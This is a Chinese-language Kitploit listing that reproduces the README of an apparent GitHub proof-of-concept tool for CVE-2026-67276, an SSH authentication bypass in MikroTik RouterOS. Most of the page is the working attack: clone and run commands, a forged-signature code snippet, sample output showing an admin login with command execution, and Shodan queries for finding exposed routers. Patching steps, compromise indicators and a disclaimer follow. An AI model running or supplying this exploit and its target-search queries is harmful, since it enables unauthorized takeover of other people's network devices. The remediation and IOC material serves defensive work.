Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
exploit-mikrotik-2026 — CVE-2026-67276 MikroTik RouterOS SSH 认证绕过漏洞利用程序 | Kitploit
工具/GitHubGitHub/blackhatexploitation/exploit-mikrotik-2026
侦察漏洞分析漏洞利用信息收集网络安全渗透测试身份验证
GitHubblackhatexploitation/exploit-mikrotik-2026

exploit-mikrotik-2026

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-67276 MikroTik RouterOS SSH 认证绕过漏洞利用程序

查看仓库
8小时17分前尚未审核

CVE-2026-67276 - MikroTik SSH 认证绕过漏洞利用工具

CVE Severity Type Platform

MikroTik RouterOS SSH 公钥认证绕过 - 无需私钥

针对 CVE-2026-67276(MikroTrick)的概念验证利用工具,这是 MikroTik RouterOS SSH 实现中的一个严重认证绕过漏洞,允许攻击者在未持有目标用户私钥的情况下以任意用户身份进行认证。


目录

  • 漏洞概述
  • 工作原理
  • 受影响版本
  • 安装
  • 使用方法
  • Shodan 侦察
  • 技术细节
  • 修复方案
  • 参考资料
  • 免责声明

漏洞概述

MikroTrick 攻击链

CVE-2026-67276 是 CERT PL 命名为 "MikroTrick" 的更大攻击链的一部分,该攻击链已被观察到在野外被积极利用:


工作原理

漏洞成因

RouterOS SSH 认证在验证公钥时存在严重缺陷:

  1. 密钥匹配缺陷:RouterOS 仅使用 (密钥类型、模数) 将提交的 SSH 公钥数据块与授权密钥进行匹配,完全忽略了指数
  2. 指数来自客户端:签名验证使用的是客户端提交的数据块中的指数,而非存储的密钥
  3. 轻松伪造:提交 {ssh-rsa, e=1, n=受害者模数} 即可使验证变得微不足道

数学原理

root@kitploit:~
标准 RSA 验证:  sig^65537 mod n == 预期值  (需要私钥)
被利用的验证:   sig^1 mod n == sig           (无需私钥!)

当指数 e=1 时,签名验证变为:

root@kitploit:~
sig^1 mod n == sig

这意味着"签名"实际上就是 EMSA-PKCS1-v1_5 编码的消息本身——任何知道受害者公钥模数的人都可以构造。

攻击前提条件

  1. 目标用户名对应的账户拥有已授权的 RSA 密钥
  2. 该授权密钥的 RSA 公钥模数 n(来自 .pub 文件、历史连接等)
  3. 可访问 SSH 端口

受影响版本

分支受影响范围已修复版本
6.x6.0 - 6.49.206.49.21+
7.x 稳定版7.0 - 7.23.3

安装

root@kitploit:~
# 克隆仓库
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026

# 安装依赖
pip install paramiko cryptography

使用方法

快速开始

root@kitploit:~
# 基础利用 - 自动生成密钥,检测版本
python3 full_exploit.py --host 192.168.88.1 --username admin

# 认证后执行命令
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'

# 自定义端口
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin

使用现有公钥

root@kitploit:~
# 如果你拥有受害者的公钥文件
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub

# 或直接提供模数
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."

版本检测

该工具会自动检测 RouterOS 版本并检查漏洞状态:

root@kitploit:~
# 即使目标不是 MikroTik 或版本未知也强制利用
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check

全部选项

root@kitploit:~
--host              目标 RouterOS IP/主机名(必填)
--port              SSH 端口(默认:22)
--username          目标 RouterOS 用户名(必填)
--pubkey            RSA 公钥文件(未提供时自动生成)
--modulus-hex       RSA 模数(十六进制)(--pubkey 的替代方案)
--algos             签名算法(默认:ssh-rsa,rsa-sha2-256)
--exec              认证后要执行的命令
--exp-enc           指数编码:canonical(1 字节)或 aligned(3 字节)
--timeout           连接超时时间(默认:15.0 秒)
--skip-version-check    跳过 RouterOS 版本验证
--shodan-dorks      打印 Shodan 搜索语法
--shodan-search     通过 Shodan API 搜索目标
--shodan-key        Shodan API 密钥
--shodan-query      自定义 Shodan 查询
--shodan-limit      Shodan 结果数量限制(默认:100)

Shodan 侦察

打印搜索语法

root@kitploit:~
python3 full_exploit.py --shodan-dorks

搜索 Shodan API

root@kitploit:~
# 基础搜索
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY

# 自定义查询
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'

实用的 Shodan 查询


技术细节

SSH 公钥数据块结构

root@kitploit:~
string    "ssh-rsa"
mpint     e(公钥指数)  <- 攻击者提供 e=1
mpint     n(模数)      <- 受害者的实际模数

伪造签名生成

root@kitploit:~
# "签名"实际上就是 EMSA-PKCS1-v1_5 编码的认证数据
def forged_signature(data, sig_alg, n):
    k = (n.bit_length() + 7) // 8
    block = emsa_pkcs1_v15(data, sig_alg, k)
    return block  # 当 e=1 时,这就是有效的签名

线格式说明

  • 即使使用 rsa-sha2-256/512 算法,数据块内部的类型字符串仍保持为 ssh-rsa
  • 签名算法仅放在外部算法字段中
  • 在受影响版本上,canonical(1 字节)和 aligned(3 字节)两种 e=1 编码均有效

示例输出

root@kitploit:~
[*] CVE-2026-67276 MikroTrick 利用工具
[*] 目标:192.168.88.1:22

[*] 正在检测 RouterOS 版本...
[*] SSH 横幅:SSH-2.0-ROSSSH-7.23.3
[*] RouterOS 版本:7.23.3
[+] 版本存在漏洞 - 适用 CVE-2026-67276

[*] 正在生成 2048 位 RSA 密钥对...
[+] 私钥已保存:/path/to/exploit_key
[+] 公钥已保存:  /path/to/exploit_key.pub
[*] 模数:2048 位 | 伪造 e=1
[*] 指数编码:canonical(01)

[*] 正在尝试 rsa-sha2-256 ...
[+] 已通过 rsa-sha2-256 以 'admin' 身份完成认证
[+] CVE-2026-67276 已确认 - 目标存在漏洞
--- 命令输出 ---
                uptime: 14d23h45m12s
               version: 7.23.3 (stable)
            build-time: Sep/01/2026 12:00:00

修复方案

1. 立即升级

root@kitploit:~
# 检查当前版本
/system resource print

# 升级到已修复版本
/system package update download
/system reboot

最低安全版本:

  • 6.x 分支:6.49.21
  • 7.x 稳定版:7.23.4
  • 7.x 测试版:7.24.2

2. 如非必要,禁用 SSH

root@kitploit:~
/ip service disable ssh

3. 限制 SSH 访问

root@kitploit:~
# 按 IP 地址限制
/ip service set ssh address=192.168.88.0/24

# 防火墙规则
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
    src-address=!192.168.88.0/24 action=drop

4. 检查是否已被入侵

root@kitploit:~
# 检查可疑用户
/user print

# 检查 "ops" 用户(已知的攻击者入侵指标)
/user print where name=ops

# 检查设备标记状态
/system/device-mode/print

# 检查日志
/log print where topics~"ssh"

已知入侵指标(IOC):

  • 日志条目:login failure for user -2 via ssh
  • 未知的特权用户 ops
  • 设备被"标记"(Flagged)
  • 攻击者 IP:82.192.72.4、103.102.31.18

参考资料

  • CERT PL 安全公告
  • CERT PL CVE 详情
  • MikroTik 安全公告
  • RFC 8017 - PKCS#1 v2.2
  • RFC 8332 - SSH 中 SHA-256/512 RSA 密钥的使用
  • RFC 4252 - SSH 认证协议

免责声明

⚠️ 本工具仅用于授权的安全测试和教育目的。

  • 仅可对您拥有或获得明确书面许可的系统进行测试
  • 未经授权访问计算机系统违反 CFAA、Computer Misuse Act 及全球类似法律
  • 作者不对因使用本工具造成的任何滥用或损害负责
  • 使用本工具即表示您同意以负责任且合法的方式使用

许可证

MIT 许可证 - 详情请参阅 LICENSE。


作者

安全研究 PoC - CVE-2026-67276 实验室实现

如果您觉得本工具实用,请为本仓库点个 Star!

下载工具
详情信息
CVE IDCVE-2026-67276
严重程度严重(CVSS 9.8)
CWECWE-347(加密签名验证不当)
攻击向量网络
认证要求无
攻击复杂度低
影响设备完全沦陷
CVE类型描述
CVE-2026-67276认证绕过通过指数伪造实现 SSH 公钥认证绕过
CVE-2026-86060权限提升通过用户名进行参数注入
CVE-2026-67279认证绕过未完成用户认证即可建立 SSH 连接
CVE-2026-67277信息泄露通过带宽测试导致内核内存泄漏
CVE-2026-67278签名绕过接受格式错误的 X.509 签名
CVE-2026-67281文件读取通过 jsproxy 实现 WebFig 根目录文件读取
7.23.4+
7.x 测试版7.24.0 - 7.24.17.24.2+
目标查询
所有 MikroTikMikroTik
MikroTik SSHMikroTik port:22
暴露的 Winboxport:8291
WebFig 面板http.title:RouterOS
RouterOS 6.49.xMikroTik "6.49"
RouterOS 7.xMikroTik "RouterOS v7"
按国家MikroTik country:US
漏洞提示MikroTik ("6.49" OR "7.23" OR "7.24.0")